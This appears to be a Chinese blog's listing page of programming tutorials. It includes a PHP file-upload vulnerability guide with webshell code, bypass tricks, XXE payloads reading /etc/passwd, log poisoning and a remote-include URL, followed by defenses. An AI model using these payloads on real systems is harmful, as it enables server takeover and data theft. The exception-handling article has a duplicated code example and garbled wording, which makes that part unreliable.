找到
171
篇与
技术教程
相关的结果
- 第 7 页
-
我常用的十个 CSS 代码技巧 在 CSS 开发中,一些简单的一行代码往往可以让你的页面变得更加优雅高效。以下是 10 个我喜欢使用的 CSS 一行代码,它们不仅简洁,还能在实际项目中起到很大的作用。 1. 设置宽高比例(Aspect Ratio) 通过 aspect-ratio 属性,可以根据指定的宽度自动调整高度(反之亦然)。 .box { width: 90%; aspect-ratio: 16/9; }适合用在视频播放器或图片容器中,确保它们以正确的比例呈现。 2. 逻辑属性(Logical Properties) 使用 margin-block 和 margin-inline 替代传统的 margin-top、margin-right 等,更加简洁直观。 .box { margin-block: 5px 10px; /* 上边距 5px,下边距 10px */ margin-inline: 20px 30px; /* 左边距 20px,右边距 30px */ }对于 padding 也是一样的: .box { padding-block: 10px 20px; /* 上下内边距 */ padding-inline: 15px 25px; /* 左右内边距 */ }这些属性会自动适配文本方向(如从左到右或从右到左)。 3. 全局盒模型设置 避免因默认 box-sizing 属性引起的布局问题,通过以下一行代码可以让所有元素包含其内边距和边框: *, *::before, *::after { box-sizing: border-box; }这可以大幅减少布局错误,让开发更加省心。 4. 平滑滚动(Smooth Scroll) 为整页启用平滑滚动,提升用户体验: html { scroll-behavior: smooth; }在单页网站或锚点导航中尤为实用。 5. 垂直书写模式(Vertical Writing Mode) 让文字从右向左垂直排列,可用于特殊设计场景或支持垂直书写的语言: .vertical-text { writing-mode: vertical-rl; }6. 文本溢出省略号(Truncating Text with Ellipsis) 对于超出容器的长文本,可以用省略号代替多余部分: .ellipsis { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }适合用在标题、卡片或链接预览中。 7. 居中对齐(Place-items) 使用 place-items 快速实现网格容器的水平和垂直居中对齐: .box { display: grid; place-items: center; }8. 限制文本宽度(Limit Text Width) 通过限制每行文本的最大字符数,提升可读性: p { max-width: 100ch; }“ch” 单位表示一个字符的宽度,非常适合用于段落样式。 9. 占位符样式(Styling Placeholder Text) 给输入框的占位符文本添加样式: ::placeholder { color: #999; font-style: italic; }10. 统一的强调色(Accent Color) 通过 accent-color 为交互元素(如按钮、复选框)设置统一的主题颜色: body { accent-color: green; }可以在整个网站中保持一致的视觉风格,而无需单独为每个元素定义样式。 总结 这些 CSS 一行代码涵盖了布局优化、用户体验提升和样式统一等多个方面,既实用又高效。将它们融入你的日常工作流,可以让项目的开发更加轻松,同时大幅提升代码的质量和可维护性。 试试这些技巧,感受它们带来的改变吧!
-
-
解锁 PHP 异常处理:构建高可靠性应用 健壮的PHP应用注重完善的错误处理机制,它是可靠性、可性和用户友好性的基石。然而,维护错误处理却常常被忽视或未能得到一致的应用,导致代码库脆弱、难以实现调试和维护。尽管许多开发者意识到错误处理的重要性,但我却发现一些应该是常识性的做法,例如正确的处理异常,在实际项目中经常被误解、误用,甚至完全被忽略。这让我意识到即使到了,皮肤基本的错误处理技巧,也值得反复强调和重视。 这凸显了积极讨论和推广异常处理最佳实践的重要性。未能正确捕获错误、中断通用异常类型、或者在错误消息中遗漏了关键上下文信息,这些常见的错误都会降低应用程序的健壮性,并显着增加调试的难度。 本文将重点探讨PHP异常的重要性,以及如何利用它们编写更简洁、补充弹性的代码。通过理解异常的机制和正确的使用方法,我们可以弥补实践中的不足,构建既健壮又易于维护的应用程序。 为什么异常对于错误至关重要处理 传统的错误处理方式(如返回错误代码)常常导致代码冗长且容易出错。异常提供了一种更清晰、更格式化的错误处理方式,其优点在于: 分离错误处理逻辑与业务逻辑,使代码更简洁易懂。 支持集中式错误管理,提高代码的可维护性。 提供堆栈跟踪信息,简化调试过程。 采用包装的 try/catch 块,使错误处理流程更清晰。 使用异常能够确保在整个应用程序中实现一致且有效的错误处理。 1、抛出和捕获异常 而返回错误代码,不如使用 throw 语句发送异常。这会立即中断当前代码执行流程,确保错误被及时并发现处理。 function divide($a, $b) { if ($b === 0) { throw new InvalidArgumentException("Division by zero is not allowed."); } return $a / $b; } try { echo divide(10, 0); } catch (InvalidArgumentException $e) { echo "Error: " . $e->getMessage(); } 异常会中断当前执行流程,并沿着调用栈向上冒泡,直到被捕获。 使用具体的异常类(如InvalidArgumentException)可以更清晰地表达错误类型,方便后续处理。 2、创建自定义异常类 为了更准确地描述和处理错误,建议创建自定义异常类。这有助于为错误添加特定上下文信息,从而更容易理解和管理。 function divide($a, $b) { if ($b === 0) { throw new InvalidArgumentException("Division by zero is not allowed."); } return $a / $b; } try { echo divide(10, 0); } catch (InvalidArgumentException $e) { echo "Error: " . $e->getMessage(); }自定义异常可以提高代码的可执行性,并支持更细粒度的错误处理。 3、使用全局异常处理程序 为了捕获应用程序中所有未处理的异常,请设置一个全局异常处理程序。这样可以确保任何错误都不会被遗漏,并为意外错误提供兜底方案。 set_exception_handler(function ($exception) { error_log("Unhandled exception: " . $exception->getMessage()); echo "An unexpected error occurred. Please try again later."; }); throw new Exception("Test exception"); 集中式错误日志记录:主要是跟踪和分析错误。 优雅的用户体验型错误提示:提升用户体验。 防止程序崩溃:降低未处理异常导致应用程序崩溃的风险。 4、将错误转化为异常 PHP允许你使用自定义错误处理程序将传统错误(例如通知、警告)转换为异常。这有助于将所有错误处理统一到异常机制处理下。 set_error_handler(function ($severity, $message, $file, $line) { throw new ErrorException($message, 0, $severity, $file, $line); }); try { echo $undefinedVariable; // Will trigger an error } catch (ErrorException $e) { echo "Converted Error: " . $e->getMessage(); }将错误转换为异常后,你可以使用try-catch代码块对所有问题进行统一管理。 5、记录异常 为了方便排查故障和监控系统运行状况,一定记录所有异常。建议使用 Monolog 等日志库,或 Sentry 等外部监控服务。 try { throw new RuntimeException("Something went wrong."); } catch (RuntimeException $e) { error_log($e->getMessage()); echo "An error occurred. Please try again later."; }预定日志信息包含关键细节,例如错误消息、堆栈跟踪以及时钟。 6、应用程序逻辑的异常 异常不仅可以处理运行时错误,还可以用于增强业务逻辑的健壮性以及验证用户输入。 function processOrder($quantity) { if ($quantity <= 0) { throw new InvalidArgumentException("Quantity must be greater than zero."); } echo "Order processed for quantity: $quantity"; } try { processOrder(0); } catch (InvalidArgumentException $e) { echo "Validation Error: " . $e->getMessage(); }将异常用于逻辑验证有助于保证代码的健壮性和可预测性。 总结 异常是构建健壮且易于维护的PHP应用程序的强大工具。通过以下实践: 使用錯誤類型 设置全局异常处理程序 将错误转化为异常 记录错误 您可以构建一致且构造的错误处理策略。异常能够确保错误得到有效处理,使代码更简洁、更容易调试。 错误的目的,但完善的异常处理机制可以化解混乱,提升应用的稳定性和可靠性。
-
15 个让你的 PHP 开发工作 更轻松的插件 在 PHP 开发过程中,借助各种插件可以显著提高开发效率、增强代码质量、改善工作流等。 以下是 15 个推荐的 PHP 插件,它们可以帮助你更轻松地进行开发,涵盖代码质量、调试、自动化、框架支持等多个方面。 PHPStan PHPStan 是一个静态分析工具,它帮助开发者发现潜在的错误和不一致的代码。PHPStan 支持各种 PHP 版本,并能发现潜在的类型错误、未使用的代码等问题。 功能: 静态类型检查。 提供详细的错误信息。 与 IDE 集成,实时反馈错误。 安装: composer require --dev phpstan/phpstan集成:与 IDE 如 PHPStorm、VSCode 配合使用,提供实时分析。 Xdebug Xdebug 是 PHP 中最常用的调试工具。它允许你进行步进调试、性能分析(profiling)和代码覆盖分析。Xdebug 通过提供堆栈跟踪和详细的错误信息,可以帮助你快速定位问题。 功能: 断点调试。 性能分析。 堆栈跟踪和错误日志。 安装: sudo apt-get install php-xdebug集成:可以与 IDE(如 PHPStorm、VSCode)配合使用,进行更高效的调试。 PHP_CodeSniffer PHP\_CodeSniffer 是一个用于检测 PHP 代码是否符合 PSR 编码标准的工具。它可以自动检查你的代码是否遵循 PSR-1、PSR-2、PSR-12 等编码标准,保持代码的一致性和可读性。 功能: 自动检测编码风格错误。 提供修复建议。 支持 PSR 标准和其他编码风格。 安装: composer require --dev squizlabs/php_codesniffer集成:与 IDE(如 PHPStorm)集成,自动提示代码风格问题。 Composer Composer 是 PHP 中最常用的依赖管理工具,几乎每个 PHP 项目都会使用它。它不仅用于管理第三方库,还能处理自动加载和版本控制。 功能: 管理项目的依赖。 支持自动加载。 提供版本控制和更新。 安装: curl -sS https://getcomposer.org/installer | php集成:集成到任何 PHP 项目中,自动管理依赖库。 Laravel Debugbar Laravel Debugbar 是一个用于 Laravel 框架的调试工具,它可以显示详细的请求信息、数据库查询、视图渲染、路由等调试信息。 功能: 显示请求的 HTTP 信息。 显示数据库查询、模型调试。 提供内存使用和执行时间统计。 安装: composer require barryvdh/laravel-debugbar --devTinker Tinker 是 Laravel 框架自带的交互式命令行工具。它让你可以在命令行中直接执行 PHP 代码,进行测试和调试,特别适合 Laravel 的开发者。 功能: 交互式命令行。 直接执行 Eloquent 查询和模型操作。 快速测试代码片段。 安装: composer require laravel/tinker --devPHPUnit PHPUnit 是 PHP 中最常用的单元测试框架。它帮助开发者编写和运行测试,确保代码的可靠性和稳定性。 功能: 单元测试、集成测试和功能测试。 提供详细的测试报告。 与 CI/CD 工具集成,自动化测试。 安装: composer require --dev phpunit/phpunitTwig Twig 是一个灵活的 PHP 模板引擎,它非常适用于动态内容生成。它的语法简洁,提供了丰富的扩展功能。 功能: 支持条件语句、循环、过滤器等。 提供缓存机制,提高性能。 与 Symfony、Laravel 等框架兼容。 安装: composer require twig/twigPHPMD (PHP Mess Detector) PHPMD 是一个静态分析工具,用于检查 PHP 代码中的潜在问题。它会检测代码中的“坏味道”,如重复代码、过长的函数、复杂度高的函数等。 功能: 检测潜在的代码问题。 支持规则自定义。 提供详细的报告。 安装: composer require --dev phpmd/phpmdPHP-CS-Fixer PHP-CS-Fixer 是一个自动修复代码风格问题的工具,支持 PSR 规范和其他流行的编码标准。它不仅能帮助你发现代码风格问题,还能自动修复这些问题。 功能: 自动修复代码风格问题。 支持 PSR 标准和其他风格。 配置灵活,支持规则自定义。 安装: composer require --dev friendsofphp/php-cs-fixerLaravel Eloquent Sluggable Eloquent Sluggable 是一个 Laravel 插件,帮助你为模型生成 SEO 友好的 URL 标识符(Slug)。它可以自动为你创建和管理 slug。 功能: 自动生成 slug。 支持自定义字段生成 slug。 与 Eloquent 模型无缝集成。 安装: composer require cviebrock/eloquent-sluggableSwoole Swoole 是一个高性能的异步网络通信框架,旨在提升 PHP 的并发处理能力。它支持协程、WebSocket、HTTP 等功能,可以大幅提高 PHP 应用的性能。 功能: 支持协程、异步、并发。 支持 WebSocket、TCP、HTTP 等协议。 提升 PHP 应用的性能。 安装: pecl install swooleLaravel Horizon Laravel Horizon 是一个用于监控 Laravel 队列的插件,它提供了一个漂亮的仪表板,可以帮助开发者管理队列的处理过程、失败的任务等。 功能: 实时监控队列。 提供队列处理的统计信息。 支持队列任务的重试和失败日志。 安装: composer require laravel/horizonCarbon Carbon 是一个用于日期和时间处理的 PHP 扩展,基于 PHP 的 DateTime 类。它为日期和时间提供了很多方便的操作和格式化方法。 功能: 支持日期加减、格式化、比较。 提供丰富的日期操作方法。 兼容时区处理。 安装: composer require nesbot/carbonGuzzle Guzzle 是一个强大的 PHP HTTP 客户端,用于发送 HTTP 请求并处理响应。它支持同步和异步请求,支持文件上传、JSON 支持等功能。 功能: 支持同步和异步请求。 支持文件上传和 JSON 处理。 提供详细的错误处理。 安装: composer require guzzlehttp/guzzle总结 以上 15 个 PHP 插件覆盖了开发中的各个方面,从编码标准、测试工具、调试工具,到模板引擎、HTTP 客户端等,它们能帮助开发者提高代码质量、开发效率、调试体验和性能等。 如果你能在 PHP 项目中有效地应用这些插件,将会大大简化开发流程,提高团队协作效率,并让项目更具可维护性。 图片
-
PHP 文件上传漏洞总结 文件上传漏洞 文件上传漏洞是指后端服务器允许前端用户上传文件,但是对文件的名称、后缀、内容、大小等信息没有做过滤和控制,导致攻击者可以上传任意文件到服务器。 影响 1、上传恶意文件:比如上传后缀为.php、.jsp的文件,服务器收到后,对其没有进行校验。访问文件时,直接调用PHP解释器或JSP引擎执行,如果文件内容是可以执行系统命令的代码,攻击者就可以通过该文件获取服务器权限。 2、覆盖关键文件:服务器允许上传相同文件名的文件,如果可以通过目录遍历更改上传路径和位置,则可以覆盖关键文件。 3、DDoS攻击:如果服务器对上传文件的大小没有限制,则可以上传大量超大文件,占用服务器存储空间,消耗服务器带宽,造成DDoS攻击。 漏洞利用 当服务器存在文件上传漏洞时,需要根据具体情况采用合适的利用办法和绕过方式等,如下。 无限制上传WebShell 服务器不管是在前端还是后端,都没有对用户上传的文件做过滤和校验,导致攻击者可以在上传点直接上传webshell到服务器,从而获取服务器控制权。 绕过Centent-Type验证上传WebShell MIME:定义数据类型,告诉客户端或服务器,数据是什么类型,应该用什么方式处理。 Centent-Type:HTTP协议的一个字段,是MIME在HTTP协议中的应用。 Centent-Type验证属于后端的一个防护,服务器收到请求后,会验证Centent-Type类型是否被允许,如果不允许,则拒绝请求。如下图: 图片 假设服务器只允许Centent-Type类型为image/jpeg,上传test.php,Content-Type类型是application/octet-stream,服务器收到请求后,对Centent-Type进行对比检查,如果不符,拒绝访问。 在实战利用中,可以修改Centent-Type为服务器允许的类型进行绕过,方法有二。 一、前端上传.php文件,对上传请求进行拦截,在请求包中修改Centent-Type。 二、前端上传服务器允许的文件,如.jpg,对上传请求进行拦截,在请求包中修改文件文件后缀及内容。 通过目录遍历上传WebShell 为了让攻击者无法通过上传WebShell获取服务器权限,一般会将上传目录设置为只允许上传静态文件,且没有执行权,文件不允许被当作脚本执行,就算绕过层层防护,把WebShell上传到了服务器,也无法利用。 上传成功后,访问时,会把WebShell内容直接输出,或者是将WebShell下载,而不是调用解释器执行。 图片 遇到这种情况时,就是上传目录没有执行权,要绕过防护执行WebShell,可以通过中间件解析漏洞,或者通过目录遍历,将文件上传到可执行目录中,解析漏洞后面会详细讲,这里主要说一下目录遍历绕过。如下图: 图片 使用../将WebShell上传到上层目录,服务器如果对目录遍历有检测,禁止使用../进行目录遍历,也可以尝试目录遍历绕过,比如将/进行URL编码或其他什么方式。 绕过黑名单上传WebShell 情况一: 为了不让攻击者上传.php、.jsp等后缀的恶意文件,服务器直接将这些后缀列入了黑名单,但是百密一疏,黑名单这种情况总会漏掉一些其他可执行的文件后缀,如下: php > php3、php5、phtml jsp > jspx asp > asa、aspx如果服务器采用黑名单防护,可以尝试其他后缀代替。 情况二: 关于覆盖服务器配置的情况,服务器怎么去处理文件,以什么方式处理,都是根据配置文件中的配置去执行的,拿Apache服务器举例,Apache的配置文件是/etc/apache2/apache2.conf,如下配置: LoadModule php_module /usr/lib/apache2/modules/libphp.so AddType application/x-httpd-php .php这段配置是告诉服务器,加载php模块,将.php文件交给php解释器处理,那假如要配置上传目录没有执行权限,是不是也要跑到/etc/apache2/apache2.conf下配置呢,其实不用,该配置文件应用于全局,也就是整个服务器,为了一个目录的配置而修改整个服务器的配置是非常不方便的,这时候就用到了.htaccess文件,这是一个只针对于目录的配置文件,不影响全局配置,怎么使用呢,只要在需要单独配置的目录下,创建.htaccess文件即可,立即生效,不需要重启服务器。 如果服务器使用黑名单防护漏掉了.htaccess文件,则可以通过上传该文件修改目录配置或权限,假如上传目录upload没有执行权,那么可以上传以下内容的.htaccess。 LoadModule php_module /usr/lib/apache2/modules/libphp.so AddType application/x-httpd-php .php .jpg .txt简单理解就是后缀为.php、.jpg、.txt的文件,都交给php解释器执行,不管是图片马还是内容为木马的文本文件,都可以进行利用从而获取服务器权限。 混淆后缀上传WebShell 双写:上传WebShell到服务器后,服务器会把黑名单中的后缀替换为空,也就是去除,顺序是从左到右,且只进行一次操作,通过双写后缀进行绕过,如test.pphphp,经过替换后的文件名为test.php。 大小写:服务器验证文件后缀时,设置为区分大小写,那么就可以对文件后缀进行大小写处理,如.pHp、PhP等,因为只过滤.php,所以经过大小写处理的后缀可以被上传,又因为配置文件处理.php文件时不区分大小写,所以.pHp可以被执行。 多后缀:服务器处理上传文件时,对后缀进行检查,顺序是从后往前,具体来说就是检查从后往前的第一个点(.)第一个点(.)后面的内容就会被识别为后缀,那么webshell文件test.php则可以在后面添加允许的后缀绕过检查,test.php.jpg。也可以只加点(.),test.php.,这样的话后缀实际上就是空,空后缀没有在黑名单中,就可以绕过。 尾部字符:文件上传到服务器后,如果文件名中带空格,服务器会自动去除空格,如果上传时服务器对空格没有过滤,且加空格的后缀也没有在黑名单,就可以通过后缀加空格绕过了。上传到服务器后空格被去除,后缀被还原。 尾部符号绕过还有分号(;)和空字节的URL编码(%00),即代表结束、截断的意思,test.php;.jpg、test.php%00.jpg,上传时服务器检查后缀是.jpg,可以上传没问题,但是在执行时,分号(;)和空字节的URL编码(%00)后面的部分会被忽略,最后识别到的文件就是test.php。但只针对GET请求,如果是POST,则需要拦截请求包,在数据包中修改了,test.php0x00.jpg,0x00是空字节的十六进制编码,实际利用中需要将其替换,而不是直接输入0x00。 URL编码:如果服务器在处理上传文件时,没有解码操作,则可以将点(.)进行URL编码(%2e)绕过,test%2ephp,服务器执行该文件时会进行解码,这时文件名被还原test.php。 这只是混淆文件后缀众多方法中的一小部分。其中双写、大小写、末尾加点(.)加空格和URL编码属于是黑名单绕过范畴,而多后缀、00截断则针对的是白名单防护。 绕过文件内容检查上传WebShell 为了防止攻击者上传包含恶意代码的图片文件,服务器会对上传文件的内容做检查,检查是否具有图片的特征,如文件头的前两个字节是不是图片,内容中有没有图片的尺寸属性等等。 可以制作一个图片马进行绕过,方式如下: copy test.jpg/b+shell.php shell.jpgcopy:windows系统复制命令。 test.jpg:合法图片文件。 /b:二进制模式,表示复制过程中,合法图片的内容不被修改,原封不动地复制。 +:附加,这里表示把shell.php文件内容附加到test.jpg文件中去。 shell.php:webshell。 shell.jpg:最后生成的图片马文件。 制作方法有很多,这里用的是copy方法,这样制作的图片马可以以图片形式正常打开,只是把webshell文件内容隐藏到了图片内容的末尾。 如果只检查文件头,则可以只修改文件头为合法的即可,如下: JPG:0xFF 0xD8 PNG:0x89 0x50 GIF:0x47 0x49修改文件头有很多工具和插件都可以完成,也可以使用Burp拦截上传请求后,在数据包中修改,现在代码前添加两个占位符,选中后修改其十六进制为图片即可,如下图: 图片 条件竞争上传WebShell 现代框架处理上传文件,一般是先放到沙盒目录,比如/upload\_sandbox,用于临时存放文件和隔离上传文件,且没有执行权,文件上传到沙盒目录时还会进行随机改名处理,防止覆盖文件。接下来会检查文件的文件名、文件内容、后缀、魔数等等,如果符合要求判定为安全,才会将文件上传到真实上传目录,比如/upload,如果识别文件是危险的,则会直接删除。 但是,如果没有使用任何框架,而是自定义处理上传的文件,则会出现一种情况,就是上传文件时,没有经过任何过滤就直接存放到了服务器真实上传目录,然后才对其是否合法进行检查,合法保留,不合法删掉,检查时间可能就只有几毫秒,虽然时间很短,但仍然可以通过条件竞争方式上传WebShell。 操作只需要两步: 一、拦截上传请求,对其进行并发,文件后缀为php,内容如下: <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123])?>'); ?>fopen('shell.php','w') :以写的模式打开shell.php,如果文件不存在就新建一个。 fputs :将 <?php @eval($_POST[123])?> 写入shell.php。 如下图: 图片 二、拦截访问请求,对其进行并发,访问的是我们上传的test.php,上传路径可以先上传一张合法图片查看,并发过程和第一步一样,也可以修改线程,提高成功率。 上传test.php到服务器后,服务器并没有及时删除(几毫秒时间),且幸运的被访问到,则执行命令,创建WebShell。 上传其他恶意文件 除了上传WebShell获取服务器权限外,还可以上传其他恶意文件进行攻击,如下情况: 一、服务器允许上传html、svg后缀的文件,则可以构造恶意JS脚本,进行XSS攻击。 二、服务器允许上传docx、xlsx后缀的文件,则可以引入XML外部实体,进行XXE攻击。 docx和xlsx文件都是一个ZIP压缩包,其中包含多个XML文件,可以向XML文件中注入XXEPayload,方法如下: docx 1、新建docx文件并解压。 2、解压后的文件结构如下图。 图片 word文件夹下有多个XML文件,均可以注入,但推荐修改document.xml。 图片 3、记事本打开文件document.xml进行修改。 4、document.xml原内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document> <w:body> <w:p w14:paraId="367FED8D" w14:textId="1728AEF6" w:rsidR="007A2F41" w:rsidRDefault="00653F26"> <w:r> <w:rPr> <w:rFonts w:hint="eastAsia"/> </w:rPr> <w:t></w:t> </w:r> </w:p> <w:sectPr w:rsidR="007A2F41"> <w:pgSz w:w="11906" w:h="16838"/> <w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="851" w:footer="992" w:gutter="0"/> <w:cols w:space="425"/> <w:docGrid w:type="lines" w:linePitch="312"/> </w:sectPr> </w:body> </w:document>修改后的内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE test [ <!ENTITY test SYSTEM 'file:///etc/passwd'>]> <w:document> <w:body> <w:p w14:paraId="367FED8D" w14:textId="1728AEF6" w:rsidR="007A2F41" w:rsidRDefault="00653F26"> <w:r> <w:rPr> <w:rFonts w:hint="eastAsia"/> </w:rPr> <w:t>&test;</w:t> </w:r> </w:p> <w:sectPr w:rsidR="007A2F41"> <w:pgSz w:w="11906" w:h="16838"/> <w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="851" w:footer="992" w:gutter="0"/> <w:cols w:space="425"/> <w:docGrid w:type="lines" w:linePitch="312"/> </w:sectPr> </w:body> </w:document>共对两处进行了修改: a.定义外部实体test,内容为读取服务器/etc/passwd文件。 b.在<w:t>标签中引用test实体。 5、修改后,将文件夹重新压缩成ZIP文件,再改后缀为docx。 6、打开文件时会显示文件部分内容有问题,是否恢复,点否即可。 xlsx: 大致过程和具体细节和docx相似,但涉及的XML文件不同。 1、新建xlsx文件并解压。 2、解压后的文件结构如下图。 图片 3、记事本打开文件sheet1.xml进行修改,位置:xl > worksheets > sheet1.xml。 4、sheet1.xml原内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet> <dimension ref="A1"/> <sheetViews> <sheetView tabSelected="1" workbookViewId="0"/> </sheetViews> <sheetFormatPr defaultRowHeight="13.8" x14ac:dyDescent="0.25"/> <sheetData> <row r="1" spans="1:1" x14ac:dyDescent="0.25"> <c r="A1" t="s"> <v>0</v> </c> </row> </sheetData> <phoneticPr fontId="1" type="noConversion"/> <pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/> <pageSetup paperSize="9" orientation="portrait" r:id="rId1"/> </worksheet>修改后的内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE test [ <!ENTITY test SYSTEM 'file:///etc/passwd'>]> <worksheet> <dimension ref="A1"/> <sheetViews> <sheetView tabSelected="1" workbookViewId="0"/> </sheetViews> <sheetFormatPr defaultRowHeight="13.8" x14ac:dyDescent="0.25"/> <sheetData> <row r="1" spans="1:1" x14ac:dyDescent="0.25"> <c r="A1" t="s"> <v>&test;</v> </c> </row> </sheetData> <phoneticPr fontId="1" type="noConversion"/> <pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/> <pageSetup paperSize="9" orientation="portrait" r:id="rId1"/> </worksheet>还是定义了外部实体test并且引用,在<v>标签中。 5、修改后,将文件夹重新压缩成ZIP文件,再改后缀为xlsx。 6、打开文件时会显示文件部分内容有问题,是否恢复,点否即可。 如果服务器允许解析XML外部实体,上传后观察响应,是否返回内容,也不排除盲的情况,可以将定义的外部实体内容修改为自己的dnslog地址进行测试。 使用PUT上传文件 如果服务器允许PUT方法,即使没有上传点,也可以进行文件上传,如下请求: PUT /images/test.php HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-httpd-php Content-Length: 49<?php @eval($_POST[123]); ?>可以通过OPTIONS方法向服务器发送预检请求,判断是否允许PUT方法。 文件包含 文件包含漏洞主要出现在PHP开发的Web应用中,在开发的时候,有很多地方会用到相同的代码,每次都重复写一遍太麻烦,为了方便,会使用文件包含函数直接包含代码文件,如果文件包含函数对包含的文件没有进行过滤和校验,就会造成文件包含漏洞。 include():包含文件不存在或出错,程序继续运行。 require():包含文件不存在或出错,程序终止运行。 include_once():如果相同的文件已被包含,不再进行二次包含操作。 require_once():如果相同的文件已被包含,不再进行二次包含操作。文件包含又分为本地包含(LFI)和远程包含(RFI),包含路径用相对路径或绝对路径都可以,RFI需要PHP配置allow\_url\_include=on。 LFI:https://example.com/index.php?file=../../upload/shell.php RFI:https://example.com/index.php?file=https://test.com/upload/shell.php利用文件包含漏洞执行WebShell 在防御文件上传攻击时,服务器使用了白名单校验,但是,如果服务器存在文件包含漏洞的话,攻击者依然可以执行WebShell获取服务器权限。 制作图片马,或其他包含恶意代码的合法文件上传至服务器绕过白名单校验,通过对该文件进行包含,让服务器去执行,PHP在执行include()或require()时,不会验证后缀,只会读取内容,如果是PHP代码,则会使用PHP解释器执行。 通过写入日志执行WebShell 服务器使用了更强大的防护机制,不仅检查文件后缀,还对文件内容进行了严格校验,只要包含恶意代码,一律拒绝上传,这样的话就无法通过上传方式执行WebShell获取服务器权限了,但是,如果服务器存在文件包含漏洞,可以直接包含恶意代码,将代码写入日志文件,再包含日志文件执行WebShell。 https://example.com/index.php?file=<?php @eval($_POST[123]); ?>如果在浏览器包含执行,浏览器会把特殊符号进行URL编码,可以通过Burp发送。 图片 400的原因是包含的文件不存在,查看日志文件,木马成功写入。 图片 再包含日志文件就可以执行WebShell了,默认访问日志文件路径参考: nginx: /var/log/nginx/access.log apache: /var/log/apache2/access.log /var/log/httpd/access_log 解析漏洞 从客户端发送请求,到数据库收到请求,这中间经过的程序都叫中间件,而解析漏洞主要说的是Web服务应用程序,也就是IIS、Apache、Nginx等等,这里就先简单讲一下关于这三个中间件的解析漏洞。 IIS IIS分低版本(IIS 5.x-IIS 6.x)和高版本(IIS 7.x及以上),低版本只能解析asp的WebShell。方法如下: 目录解析: 服务器会把后缀为.asp文件夹下的文件,都按asp文件解析执行,如下: https://example.com/upload/test.asp/test.jpg如果上传路径可控,可以添加一个以.asp为后缀的文件夹,把图片马放到该目录下上传,访问执行WebShell。 文件解析: 之前将混淆后缀的时候讲到过,就是在后缀后面加个分号(;)在跟一个合法后缀,如下: https://example.com/upload/test.asp;.jpg解析的时候分号(;)代表结束,所以后面的内容不会解析,解析文件就成了test.asp。 格式解析: 有些后缀服务器也会当作asp解析,比如.asa、cer、cdx等等,具体可以查看ISAPI扩展。 https://example.com/upload/test.cerIIS7.x版本也存在解析漏洞,跟Nginx的解析漏洞一样, 这就不讲了,统一在Nginx解析漏洞中讲。 Apache 解析顺序: Apache服务器解释的时候顺序是从右往左,如果添加服务器无法识别的后缀会发生什么呢,如下: https://example.com/upload/test.php.aaa.bbb假如往服务器上传了一个test.php.aaa.bbb文件,正常情况下肯定是访问失败,但是Apache低版本(Apache2.2及以下)是可以正常解析的,访问执行时,服务器从右往左开始解析后缀,如果无法解析,就会继续向左解析,直到碰到可以解析的后缀,那么test.php.aaa.bbb文件最后就会被解析成test.php。 配置文件: 上面也提到过,就是AddType application/x-httpd-php配置,该配置的意思是什么后缀会被当成php代码解析,如果配置不当,将一些合法后缀添加到该配置项,就会被攻击者利用,造成安全问题,如下: AddType application/x-httpd-php .php .jpg .txtNginx 跟php和nginx的配置有关,先看一下正常情况,向服务器上传图片马绕过白名单校验。 https://example.com/upload/test.jpg在图片马后添加一个不存在的php文件,如下: https://example.com/upload/test.jpg/123.php正常肯定返回404页面不存在,但是如果nginx错误配置try\_files,收到请求后,不会去检查文件是否存在,而是看是什么类型的文件,如果是php,直接交给php解释器去执行,php配置cgi.fix\_pathinfo,默认值为1,表示开启,0是关闭,正常情况,php解释器会检查123.php是否存在,如果不存则响应404,但是使用cgi.fix\_pathinfo配置后,如果123.php不存在,则会检查上一层目录是否存在,以此类推,检查到test.jpg时,发现test.jpg存在,php解释器就会把test.jpg当作php解析执行。 所以测试的时候,在图片马后加一个不存在的php文件判断就行了。 绕过 文件上传漏洞绕过总结,如下图: 图片 预防攻击 可以借鉴以下方式对文件上传漏洞进行防御和修复。 白名单校验 对文件后缀进行白名单校验,只允许上传白名单中被允许后缀的文件,例如只允许上传.jpg、.png类型文件。同时对MIME类型进行检查。 检查文件内容 对上传文件的内容进行严格检查,如果存在恶意代码,拒绝上传,检查文件名,防止覆盖文件,或者对上传到服务器的文件进行修改随即名处理。 上传目录权限 设置上传目录为只允许上传静态文件,避免上传目录拥有执行权,防止攻击者绕过防护上传WebShell到服务器执行。 使用安全框架 尽量使用安全的框架处理文件上传,如果使用自定义,请做好安全防护。 安全的中间件 使用最新版本的中间件,及时更新,正确配置,避免攻击者利用中间件解析漏洞进行文件上传漏洞利用。 总结 如果你对安全感兴趣,别忘了关注我们,持续为你带来最新的安全动态与技术分享!
-
PHP 内置对象是什么 PHP 内置对象是什么? 这个问题看似简单,实则暗藏玄机。简单来说,它们是 PHP 语言自带的、无需你额外声明就能直接使用的对象。但 “直接使用” 背后,是 PHP 运行时环境为你默默构建的一整套机制,理解它,能让你写出更优雅、更高效的 PHP 代码。 首先,咱们得明确一点,这些对象并非凭空出现。它们是 PHP 处理各种请求、管理资源、执行操作的基石。例如,你访问一个数据库,背后是 PDO 对象在默默工作;你处理用户上传的文件,$_FILES 数组(虽然是数组,但其底层依赖对象机制)帮你收集信息;甚至你写的每一个函数,都在 Closure 对象的庇护下运行。 深入挖掘,你会发现 PHP 内置对象大致可以分为几类: 一、与请求相关的对象 $_GET、$_POST、$_REQUEST、$_SERVER、$_COOKIE、$_SESSION,这些家伙们是处理 HTTP 请求的得力干将,它们分别从不同的渠道收集信息,将用户的请求转化为 PHP 能理解的数据结构。 别小看它们,安全问题往往就藏在对这些对象的处理中。例如,直接使用 $_GET 或 $_POST 的值而不进行任何过滤,很容易造成 SQL 注入或 XSS 攻击。 记住,永远不要相信用户输入,这是程序员的金科玉律。 二、与文件操作相关的对象 SplFileInfo、SplFileObject 等,它们是文件系统操作的利器,用它们可以更方便地处理文件和目录。与直接使用 fopen、fread 